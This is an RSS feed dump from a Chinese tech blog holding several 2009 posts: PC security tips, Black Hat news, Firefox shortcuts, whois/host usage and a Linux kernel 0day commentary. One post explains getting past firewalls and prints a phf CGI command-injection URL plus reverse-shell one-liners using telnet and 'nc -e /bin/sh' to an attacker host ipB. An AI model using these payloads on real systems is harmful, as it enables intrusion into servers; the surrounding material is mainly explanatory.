本文不涉及那些攻击的原理，只给出一些攻击的防范。

一，装个个人防火墙(firewall),例如，国内的绿色警戒、天网等等不管你有没有绑定netbeui协议，请把udp/tcp 135-139的端口全部拦截(block)其实做为一般上网用户的机子，根本就用不到提供什么服务，即使你装的是win2000 service,默认开了一些你不知名的服务，这些服务有时反而成了你机子安全的威胁，既然不用，好，那就把它们全部block了吧，小于1024的端口系统是保留的，不会分配给应用程序的。所以放心，把udp/tcp <1024的端口全部拦截。通过这些操作，可以防止大部分的端口攻击和危险的139攻击。

二，IE的安全问题可能是对一般用户最大的安全隐患。一些被恶意利用的Activex控件、恶意的Java程序、脚本等等，例如可以利用Activex控件进行format操作，利用脚本可把别人电脑上的任何文件覆盖掉(rewrite)。所以应该正确设置Active控件，JAVA，脚本的安全级别。一般上网用户是不会给自己的IE打补丁的(PATCH)。所以如果有更高的IE版本，还是升级IE来的方便。:P

三，windows的Windows Scripting Host(简称WSH,脚本执行程序)采用默认安装，所以一些恶意的程序(比如说大名鼎鼎的ILOVEYOU)(vbs的WSH脚本文件来解释执行)可以通过OUTLOOK,mIRC传输到本机执行。WSH脚本功能强大，几乎可以调用Windows的所有资源，危及系统。所以建议把WSH脚本解释器反安装了。

四，不得不说的特洛依木马，先看看一篇转自绿盟的《特洛依防范八招》。一般的木马都是典型的C/S模型的程序，只是把服务器程序做了更隐蔽，大部分都是启动时自动运行那种，欺骗广大群众(bo、冰河就是典型)。但也不得不注意,例如：用EMAIL发给你一个特别的木马，而且随意就运行了它。该木马可以把你拨号上网的帐号和密码发到别人的EMAIL中，当然你如果保存密码的话。不只不觉中，你的帐号就被盗用了。

五，应用程序的安全问题，也可能使你在网上遭到攻击。例如：以前的OICQ版本存在堆(heap),栈(stack)的溢出现象。winamp2.64以下的版本也存在缓冲区溢出现象。

六，一种最最令管理员头痛的攻击就是DOS(拒绝服务攻击)、DDOS(分布式的拒绝服务攻击)，这种攻击其实就是拼网络的带宽。所以一般拨号用户遇到这种攻击的话根本就没有办法。唯有重新拨号，换个IP。

以上只是我概括的六个方面，当然还有其他的。

被发现的漏洞越来越多，攻击的手段也就越多，越来越复杂，令人防不胜防。

]]> http://www.xueyusi.com/security/personal-net-security.html/feed 0 利用反向通道与隧道技术透过firewall http://www.xueyusi.com/security/through-firewall.html http://www.xueyusi.com/security/through-firewall.html#comments Wed, 29 Jul 2009 12:39:30 +0000 admin http://www.xueyusi.com/?p=1000 原文出处：http://elfhack.whitecell.org/mydocs/firewall.txt

1：反向通道技术

比如说一台为于firewall之后的服务器A(ip:ipA)，我的机子为B(ip:ipB)。
firewall只允许到来的数据包到达A的80和25端口，其他
一切拒绝。
现在先在自己的机子上执行
[sztcww@haha sztcww]# nc -l -n -v -p 80
[sztcww@haha sztcww]# nc -l -n -v -p 25
假如在A的机子上找到这个phf漏洞（不过现在还能找到吗，呵呵，
所以只做参考用）。现在可以利用以下几个命令来得到一个真正的
SHELL（说它是真正的是因为phf的漏洞利用也可以称为一个SHELL了）。
/cgi-bin/phf?Qalias=x%0a/bin/telnet%20ipB%2080%20|%20/bin/sh%20|
%20/bin/telnet%20ipB%2025
相当于在A的机子上执行了
telnet ipB 80|sh|telnet ipB 25
这样就利用反向tlenet铲回一个shell.
为什么可以在B的机子上得到一个A的SHELL，如果不知道，请翻看一下
管道的作用。
如果在A的机子上可以找到nc的话，也可以这样。
在我B机子上：
[sztcww@haha sztcww]# nc -l -n -v -p 80
A上：
/cgi-bin/phf?Qalias=x%0a/bin/nc%20-e%20/bin/sh%20ipB%2080

因为连接是从firewall之后的A服务器发起的，所以一般是能够通信的。

2：隧道技术

一般是利用ICMP封装真正的数据，也有UDP等其他的协议可以利用。
一般如果firewall不block icmp的话，就可以利用icmp隧道技术
与一台firewall之后的受害机子通信，也就是说可以得到
firewall之后的受害机子的一个SHELL。
关于这个更详细的讨论请参考Phrack的p49-6
可利用的工具有loki和lokid

防火墙(firewall)没有真正的接触过,这些都是书上看来的，不要告我抄袭就好哈，呵呵

]]> http://www.xueyusi.com/security/through-firewall.html/feed 0 黑帽大会本周召开 微软开展安全合作抵御威胁 http://www.xueyusi.com/it-news/black-hat-news1.html http://www.xueyusi.com/it-news/black-hat-news1.html#comments Tue, 28 Jul 2009 11:45:02 +0000 admin http://www.xueyusi.com/?p=998 北京时间7月28日消息，据国外媒体报道，本周黑帽（Black Hat）和Defcon安全大会都将拉斯维加斯召开。虽然网络威胁和安全漏洞问题猖獗一如往昔，但大公司在声称它们在防范计算机犯罪上正在不断取得进步。

微软就在会议前表示，公司拥有三套程序和工具来协助安全社区抵御在线威胁。

危险的网络世界

黑帽会议和Defcon安全会议由前黑客杰夫•莫斯（Jeff Moss）创立，他现在是美国安全顾问委员会的顾问。今年会议的主题包括奥巴马政府在处理网络安全问题上的努力，最新的iPhone手机安全以及云计算系统的安全——这些基于互联网的系统可能会存储大众的个人资料。

在过去的一年里，安全问题破洞百出，安全威胁无处不在。业界成功地处理了一个重大威胁：域名系统（DNS）一个漏洞。去年著名的安全事例包括：研究人员使用用户生成的内容就渗透了像MySpace这样的社交网站的安全系统；麻省理工学院的三个学生展示如何入侵波士顿的地铁投币系统。

微软开展安全合作项目

去年微软开始着手几个新安全项目，比如可以对软件漏洞被袭击可能性发出预警的 Exploitability Index。微软称它去年对140个不同的威胁进行了评估，准确性达99%。微软的安全高管安德鲁•库什曼（Andrew Cushman）说，这样的工具可以帮助业界同行携手建立更复杂的防御系统。

此外，微软去年发布的“主动保护计划”（Microsoft Active Protections Program）现在有47个全球合作伙伴。在微软公开披露漏洞之前，这些合作伙伴就可以提前得到通知。合作伙伴之一网络安全机构Sourcefire表示，得益于这一计划，它现在可以在两小时内完成之前耗时八小时的工作：针对特定漏洞开发一个侦测软件。

库什曼说，通过更早地共享数据，可以降低被攻击的风险，缩短公司和顾客可能被攻击的时间。

今年，微软发布了《安全更新指南》，它可以从战略和微观层面帮助用户更好地评估风险。微软还提供更多的信息，以帮助管理人员计算安保费用，瓦解针对微软Office的相关攻击。

尽管有这样的进展，网络犯罪仍然像滚雪球一样激增：身份盗用的情况仍然猖獗，有组织的犯罪网络实施犯罪已经成为一个大问题，美国政府网站遭受病毒攻击，Twitter的机密被窃…

不过Defcon安全会议上总会发生非常有趣的事。两年前，一个试图进行拍摄的CNBC暗访记者被赶出会场。去年则有一群法国记者在黑帽会议上窃取其他记者的密码。记住，千万不要在任何会议上使用不安全的WiFi，否则你的个人资料可能会显示在 Defcon会议的大屏幕上。　

]]> http://www.xueyusi.com/it-news/black-hat-news1.html/feed 0 Firefox 3.5 快捷键 http://www.xueyusi.com/it-news/firefox35-shortcut.html http://www.xueyusi.com/it-news/firefox35-shortcut.html#comments Mon, 27 Jul 2009 12:04:35 +0000 admin http://www.xueyusi.com/?p=994 原文出处：http://www.raiden.net/articles/tutorial_must_know_keyboard_shortcuts_for_firefox_35_on_linux/

很多人可能认为用键盘快捷键操作电脑太原始了，可我不这么认为，至少我可以举出两个反证：一，没有鼠标或则鼠标坏了；二，很多时候键盘快捷键确实比鼠标来的更快。所以学会利用键盘快捷键来操作您的Firefox很重要哦！

本文描述在firefox中您最有可能使用到一些快捷键：

导航

Alt-Left Arrow ：后退一页
Alt-Right Arrow ：前进一页
Alt-Home ：默认主页
F5 ：刷新
esc ：取消还未下载完成的网页
Home ：回到页首
End ：页底

编辑

剪切，复制，粘贴，打印以及撤销上一步动作等快捷键跟其它程序一样，如Ctrl-c用于复制

搜索

按下Ctrl-f会打开一个搜索对话框，F3查找下一个

窗口和Tabs

“ctrl-w” or “ctrl-f4” 关闭tab页
“ctrl-shift-w” or “alt-f4” 关闭窗口
“ctrl-t” 新建tab页
“ctrl-n” 打开新窗口
“ctrl-tab” and “ctrl-shift-tab” 切换tab页
“ctrl-shift-t” 重新打开最近一次不小心或故意关闭的窗口

工具

“ctrl-d” 把本页加入书签
“ctrl-b” 打开书签
“ctrl-h” 打开历史记录
“f11” 全屏或相反操作
“f1” 打开帮助

好了，到此为止，这些都是我觉得在firefox 3.5中最有用的快捷键了。当然，还有很多可用的快捷键，这里就不一一赘述了，你可以参考the Mozilla shortcut guide at Mozilla.com 。

]]> http://www.xueyusi.com/it-news/firefox35-shortcut.html/feed 0 linux命令精选 – whois http://www.xueyusi.com/linux-admin/linux-command-selected-whois.html http://www.xueyusi.com/linux-admin/linux-command-selected-whois.html#comments Sun, 26 Jul 2009 02:16:23 +0000 admin http://www.xueyusi.com/?p=991 whois [options] domain-name

whois 命令用于查询域名的详细信息，包括注册时间，过期时间，注册人的详细资料(姓名，电话，住址等等)。

常用选项：

-h whois-server 指定向whois-server查询

是用范例：

$ whois www.google.cn
Domain Name: google.cn
ROID: 20030311s10001s00033735-cn
Domain Status: clientDeleteProhibited
Domain Status: serverDeleteProhibited
Domain Status: clientUpdateProhibited
Domain Status: serverUpdateProhibited
Domain Status: clientTransferProhibited
Domain Status: serverTransferProhibited
Registrant Organization: Google Ireland Holdings
Registrant Name: Domain Admin
Administrative Email: dns-admin@google.com
Sponsoring Registrar: MarkMonitor, Inc.
Name Server:ns1.google.cn
Name Server:c.l.google.com
Name Server:b.l.google.com
Name Server:f.l.google.com
Registration Date: 2003-03-17 12:20
Expiration Date: 2012-03-17 12:48

linux命令精选目录

]]> http://www.xueyusi.com/linux-admin/linux-command-selected-whois.html/feed 0 Linux最新0day的幕后故事和技术分析 http://www.xueyusi.com/it-news/linux-0day.html http://www.xueyusi.com/it-news/linux-0day.html#comments Sat, 25 Jul 2009 01:13:04 +0000 admin http://www.xueyusi.com/?p=989 我们应该知道不存在绝对完美的安全，没有一个绝对安全的程序。总之，安全是一个过程，而不是一个产品。Linux在过程方面的安全是相当出色的，这也是它极大安全的原因。这有一个例子。

7月16号，一个名叫Brad Spengler的安全方面的程序员，他设计了一个开源网络和一个叫grsecurity的服务器安全程序，这个程序全面披露了安全邮件列表——Linux内核2.6.30版的安全漏洞。

根据SANS英特网风暴中心的说法，关于这个漏洞比较简洁的表述是：“在进行网上或大规模运算时，代码的脆弱就表现出来了。简言之，开发者初始化了一个可以为NULL的变量。并紧接着正确地检查这个新变量在附近几行代码中的值，如果是0（NULL），他就返回一个错误。”

但是，从技术的观点来说这是有趣的地方。程序员这样写的代码看起来是没错的。只有在使用gcc“编译器开始处理这个变量，优化代码，编译器会发现变量已经被赋值(如果是0)并且从编译好的代码中移除。换个说法，编译器会把变量引入到二进制码，不存在源代码中。这将会引起内核尝试去读/写 0×00000000的数据，这使攻击者能映射到用户区，最终破解程序。”

听起来很吓人，是不是？你看，因为它在底层工作，这个漏洞可以绕开安SELinux（安全增强的Linux），突破其它Linux安全程序。但实际上，这完全没有那么的值得惊慌失措。

首先，为了攻击一台这样的计算机，你必须先拥有一个很高的Linux权限才能使用开发工具。其次，你需要重新开始编写一个程序，并把利用代码加入其中。

这不像在Windows下，你只要错误的点下某些网页或是打开一封带附件的邮件，你的电脑马上就会感染上恶意软件或是和僵尸软件等威胁。你几乎真要尝试用这个方法打开你的Linux计算机来消灭它。

但是，这个漏洞也许怎么都不能发挥作用。你看，同样是相似的溢出问题，也许潜伏着更大的危险的——使用PulseAudio时（一个流行的Linux和Windows媒体服务器）发生了溢出问题——在六月被修复了——这是重点，。

所以，如果你使用最新版的Linux内核，Linux 2.6.31-rc3，你应该感觉极好。

无论如何，事情的关键点并不在于技术细节。而是在于对开源软件，问题很快被大家发现并且被修复。举个例子，周三时，Firefox 3.5有重要的安全漏洞被揭发，但周五时，Firefox 3.5.1就修复了这个漏洞。

在周一，微软的IE浏览器同样有一个主要的安全漏洞被披露，但现在还没有看到补丁出现。这不足为奇。 Windows和其他微软程序的有些安全漏洞在几个月、几年后仍然没有补丁发布。至少，在去年年末，微软修复了一个存在了七年的漏洞——我不骗你。而且，让我们不要忘记，一个叫MyDoom的恶意软件——最早出现在2004年，到现在还可以在Windows电脑上用来进行DDoS（分布式拒绝服务）攻击。

简而言之，所有开源软件比同类的商业软件更安全，因为开源的特性使安全漏洞的查找和修复快速得多。如果微软真关注它的软件安全，那么它在周四就应该对漏洞进行修补，它应该开放代码，从而是安全问题得到控制。可是，这种事情是不可能发生的。所以，现在和将来，FOSS（自由及开源软件）都会在安全方面更胜一筹。

来源：51CTO

]]> http://www.xueyusi.com/it-news/linux-0day.html/feed 0 linux命令精选 – host http://www.xueyusi.com/linux-admin/linux-command-selected-host.html http://www.xueyusi.com/linux-admin/linux-command-selected-host.html#comments Sat, 25 Jul 2009 01:09:36 +0000 admin http://www.xueyusi.com/?p=987 host [options] [name] [server]

host 命令用于根据主机名查询其IP地址或根据IP地址查询其主机名。不带任何参数和选项时，host命令简单的显示该命令的选项列表。name参数是待查询地址，可以是一个域名，也可以是一个IPv4或IPv6地址。server参数用于指定host命令从哪台DNS服务器获取信息，它可以是DNS服务器的域名，也可以是DNS服务器的IP地址。

常用选项：

-a 查询所有可以被查询到的信息

-t

指定查询类型，类型包括：CNAME, NS, SOA, SIG, KEY, AXFR等

使用范例：

$ host www.google.cn
$ host -a www.google.cn

linux命令精选目录

]]> http://www.xueyusi.com/linux-admin/linux-command-selected-host.html/feed 0